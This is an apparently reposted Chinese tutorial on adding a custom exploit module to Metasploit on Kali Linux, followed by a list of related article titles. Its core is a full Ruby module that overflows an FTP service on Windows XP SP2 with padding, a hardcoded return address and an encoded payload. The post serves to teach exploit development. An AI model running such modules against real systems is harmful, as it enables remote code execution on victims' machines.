给kali的Metasploit下添加一个新的exploit
来源:互联网 发布:高性能php架构 编辑:程序博客网 时间:2024/05/17 09:15
- 注意头文件 class Metasploit3 <
class MetasploitModule < Msf::Exploit::Remote
- 首先在/usr/share/metasploit-framework/modules/exploits/目录下新建一个自定义文件夹,例如fwdtest
- 仿造exploits目录下的其他exp(rb文件)编写自己的exp.rb脚本(这边用0day安全:软件漏洞分析技术里的一个栗子)
- root@kali:/usr/share/metasploit-framework/modules/exploits/fwdtest# ls
- 0day1.rb
- root@kali:/usr/share/metasploit-framework/modules/exploits/fwdtest# cat 0day1.rb
- ##
- # This module requires Metasploit: http//metasploit.com/download
- # Current source: https://github.com/rapid7/metasploit-framework
- ##
- require 'msf/core'
- class Metasploit3 < Msf::Exploit::Remote
- include Msf::Exploit::Remote::Ftp
- def initialize(info = {})
- super(update_info(info,
- 'Name' => 'security test',
- 'Description' => %q{
- This module exploits a buffer overflow.
- },
- 'Author' => 'fwd',
- 'License' => MSF_LICENSE,
- 'Privileged' => true,
- 'Payload' =>
- {
- 'Space' => 300,
- 'BadChars' => "\x00",
- },
- 'Platform' => 'win',
- 'Targets' =>
- [
- [ 'Windows XP Pro SP2 English', { 'Ret' => 0x7c809f83 } ],
- ]))
- end
- def exploit
- connect
- attack_buf = 'a'*200
- attack_buf += [target.ret].pack('V')
- attack_buf += payload.encoded
- sock.put(attack_buf)
- handler
- disconnect
- end
- end
- root@kali:/usr/share/metasploit-framework/modules/exploits/fwdtest#
- 在控制台下启动metasploit
- 在msf提示符下输入reload_all重新加载所有模块
- 在msf提示符下输入use exploit/fwdtest/exp(输入的时候可以用tab补全,如果不能补全说明就有问题)
0 0
- 给kali的Metasploit下添加一个新的exploit
- 给kali的Metasploit下添加一个新的exploit
- 添加新的exploit到metasploit中去
- Metasploit Framework下的Exploit应用开发中文手册
- Kali下beEF关联metasploit的攻击模块
- Kali下beEF关联metasploit的攻击模块
- Kali下beEF关联metasploit的攻击模块
- 学习编写Metasploit的exploit模块
- kali下启用metasploit
- kali 2.0中metasploit的使用教程
- 用metasploit来exploit虚拟机XPSP3的ms08_067
- iOS给UIButton添加一个新的属性
- 给button添加点击事件,打开一个新的窗体
- metasploit-学习8--显示exploit的模块的所有exploit信息
- FC11下给VSFTPD添加新的用户
- 虚拟机下给新添加的硬盘挂载
- 一个绝妙的内核exploit
- 一个绝妙的内核exploit
- freemarker导出excle
- ACM ArabellaCPC 2015F题 并查集
- 清华镜像下载Android源码
- 笔试数理题总结
- java线程学习
- 给kali的Metasploit下添加一个新的exploit
- Nginx 源码阅读笔记6 master 主循环
- React Native之Modal组件实现遮罩层效果
- DataFrame筛选数据与loc用法
- windows下搭建Java环境
- 使用jquery判断是否为数字
- CDN及Nginx反向代理
- thinkPhp中 VOlist和 foreach 的区别
- leetcode [Implement Queue using Stacks]//待整理多种解法